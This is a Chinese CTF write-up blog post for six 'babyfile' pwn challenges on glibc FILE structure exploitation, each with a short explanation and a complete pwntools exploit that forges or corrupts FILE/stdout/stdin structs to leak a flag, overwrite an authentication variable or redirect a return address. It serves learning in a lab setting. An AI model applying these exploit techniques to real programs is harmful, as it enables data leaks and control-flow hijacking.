前言#

Finally，花了五个月差不多把 pwn 学完了，至于剩下的内核什么的后期就当兴趣学了，应该不会变成我的主要研究方向，所以等学完这两章 FSOP 的内容我就去搞 IoT，~~也能想象明年开始将全力以赴打比赛，暗无天日的坐牢（~~

总之希望竞赛时期不要太长，最好能够一年退役，我可不想整个大学生活都在坐牢 LOL

Level 1#

Information#

Category: Pwn

Description#

Harness the power of FILE structs to arbitrarily read data.

Write-up#

~~最简单的一集。~~ chall 把 flag 读到 bss 了，并且没开 PIE，还给了任意写 FILE 结构体的能力，直接用 pwntools 秒了。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level1"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    flag = 0x4040E0
47

48
    fp = FileStructure()
49
    payload = flat(fp.write(flag, 0x64))
50

51
    target.send(payload)
52

53
    target.interactive()
54

55

56
if __name__ == "__main__":
57
    main()

Level 2#

Information#

Category: Pwn

Description#

Harness the power of FILE structs to arbitrarily write data to bypass a security check.

Write-up#

验证变量，构造任意读即可。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level2"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    authenticated = 0x4041F8
47

48
    fp = FileStructure()
49
    payload = flat(fp.read(authenticated, 0x101))
50

51
    target.success(fp)
52

53
    target.send(payload)
54
    target.sendline(b"A" * 0xFF)
55

56
    target.interactive()
57

58

59
if __name__ == "__main__":
60
    main()

Level 3#

Information#

Category: Pwn

Description#

Harness the power of FILE structs to redirect data output.

Write-up#

以后每题都那么简单就好了（

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level3"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    target.send(b"\x01")
47

48
    target.interactive()
49

50

51
if __name__ == "__main__":
52
    main()

Level 4#

Information#

Category: Pwn

Description#

Harness the power of FILE structs to arbitrarily read/write data to hijack control flow.

Write-up#

越来越有趣了之，File Structure 的千层套路（

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level4"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    target.recvuntil(b"stored at: ")
47
    ret = int(target.recvline().strip(), 16)
48

49
    fp = FileStructure()
50
    payload = flat(fp.read(ret, 0x101))
51

52
    target.send(payload)
53
    target.send(flat(elf.sym["win"]).ljust(0x101, b"\x00"))
54

55
    target.interactive()
56

57

58
if __name__ == "__main__":
59
    main()

Level 5#

Information#

Category: Pwn

Description#

Abuse built-in FILE structs to leak sensitive information.

Write-up#

能改 stdout 结构体，并且 puts 函数内部会使用 stdout 结构体中的指针来输出值，所以我们只要改掉 write 的几个指针，过一下检查，并且把 flag 设置为 0xfbad1800 就好了。

1
int
2
_IO_puts (const char *str)
3
{
4
  int result = EOF;
5
  size_t len = strlen (str);
6
  _IO_acquire_lock (stdout);
7

8
  if ((_IO_vtable_offset (stdout) != 0
9
       || _IO_fwide (stdout, -1) == -1)
10
      && _IO_sputn (stdout, str, len) == len
11
      && _IO_putc_unlocked ('\n', stdout) != EOF)
12
    result = MIN (INT_MAX, len + 1);
13

14
  _IO_release_lock (stdout);
15
  return result;
16
}
17

18
weak_alias (_IO_puts, puts)
19
libc_hidden_def (_IO_puts)

0x1000 代表追加到当前 fileno 后面，0x0800 代表正在执行写入操作。

1
#define _IO_CURRENTLY_PUTTING 0x0800
2
#define _IO_IS_APPENDING      0x1000

不过实际上我们也不用该那么多 write 指针，只要把最重要的 _IO_write_base 改掉就好了，剩下的使用残留值。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level5"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    flag = 0x4040C0
47

48
    fp = FileStructure()
49
    fp.flags = 0xFBAD1800
50
    fp._IO_write_base = flag
51
    fp._IO_write_ptr = flag + 0x64
52
    fp._IO_write_end = flag + 0x64
53
    payload = flat(fp.struntil("_IO_write_end"))
54

55
    raw_input("DEBUG")
56
    target.send(payload)
57

58
    target.interactive()
59

60

61
if __name__ == "__main__":
62
    main()

Level 6#

Information#

Category: Pwn

Description#

Abuse built-in FILE structs to bypass a security check.

Write-up#

上题是改 stdout 使 puts 任意写，这题是改 stdio 使用 scanf 任意读。

scanf 的话只要设置 _IO_NO_WRITES 标志并设置 _IO_buf_base 和 _IO_buf_end 就好了，和那几个 read 指针无关。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level6"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    authenticated = 0x4041F8
47

48
    fp = FileStructure()
49
    fp.flags = 0xFBAD0008
50
    fp._IO_buf_base = authenticated
51
    fp._IO_buf_end = authenticated + 0x8
52
    payload = flat(fp.struntil("_IO_buf_end"))
53

54
    raw_input("DEBUG")
55
    target.send(payload)
56
    target.sendlineafter(b"Please log in.", b"\x01")
57

58
    target.interactive()
59

60

61
if __name__ == "__main__":
62
    main()